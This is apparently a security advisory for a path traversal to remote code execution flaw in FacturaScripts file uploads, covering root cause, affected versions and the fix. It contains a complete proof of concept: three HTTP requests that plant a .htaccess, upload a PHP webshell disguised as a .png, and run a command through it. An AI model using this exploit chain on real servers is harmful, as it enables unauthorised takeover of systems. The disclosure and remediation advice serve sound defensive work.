critical · 9.9Jul 14, 2026

FacturaScripts Path Traversal to Remote Code Execution via UploadedFile::move()

Rohit Hatagale
AI Security Researcher, SecureLayer7

An authenticated FacturaScripts user can upload a file whose name contains ../ sequences to escape the intended upload directory, write an Apache .htaccess override and a disguised PHP file into a dir

Packagefacturascripts/facturascripts
Ecosystemcomposer
Affected>= 2025, <= 2026.2

The problem

FacturaScripts versions 2025 through 2026.2 pass the raw client-supplied filename straight from getClientOriginalName() into move(), which concatenates it onto the destination path with no normalization. Any filename containing ../ sequences escapes the intended MyFiles/ directory.

Six upload entry points are affected, including the public-facing REST API endpoints POST /api/3/uploadfiles and POST /api/3/attachedfiles. The threat requires only a valid session or API token with upload rights, a privilege granted to a wide range of non-admin roles by default.

Proof of concept

A working proof-of-concept for this issue in facturascripts/facturascripts, with the exact payload below.

http
# Step 1: write a .htaccess into Dinamic/Assets/ to remap .png to the PHP handler
POST /api/3/uploadfiles HTTP/1.1
Host: target
Token: <valid-api-token>
Content-Type: multipart/form-data; boundary=---X

-----X
Content-Disposition: form-data; name="files[]"; filename="../Dinamic/Assets/.htaccess"
Content-Type: text/plain

AddType application/x-httpd-php .png
-----X--

# Step 2: write the PHP webshell as a .png (not in BLOCKED_EXTENSIONS)
POST /api/3/uploadfiles HTTP/1.1
Host: target
Token: <valid-api-token>
Content-Type: multipart/form-data; boundary=---X

-----X
Content-Disposition: form-data; name="files[]"; filename="../Dinamic/Assets/x.png"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
-----X--

# Step 3: trigger execution (Apache serves Dinamic/Assets/ directly, bypassing index.php)
GET /Dinamic/Assets/x.png?cmd=id HTTP/1.1
Host: target

The root cause is CWE-22 (Path Traversal) combined with CWE-434 (Unrestricted Upload). UploadedFile::move() builds the final path as $destiny . $destinyName without calling basename() or any equivalent, so a destinyName of ../Dinamic/Assets/.htaccess resolves outside MyFiles/.

The extension blocklist (BLOCKED_EXTENSIONS) covers PHP-family extensions but omits htaccess, which is the pivot that makes the Dinamic/Assets/ escape useful. The shipped Apache config explicitly excludes Dinamic/Assets/ from the index.php rewrite, so any file written there is served directly with no application-layer gating.

The fix adds $destinyName = basename($destinyName); as the first operation inside move() (and its moveTo() sibling), collapsing any path component to just the bare filename before the concatenation happens. Because this change is inside the shared utility method, all six call sites are covered at once.

The fix

Upgrade to FacturaScripts 2026.3 or later. The maintainer confirmed the path traversal fix in the 2026.3 release notes. Minimal code fix: add $destinyName = basename($destinyName); at the top of UploadedFile::move() and UploadedFile::moveTo(). Additional hardening: add htaccess, htm, html to BLOCKED_EXTENSIONS; verify the final concatenated path with realpath() against the intended base directory; drop a Deny from all .htaccess into MyFiles/ so uploaded files cannot be fetched directly.

Reporter not attributed.

References: [1][2]

Related research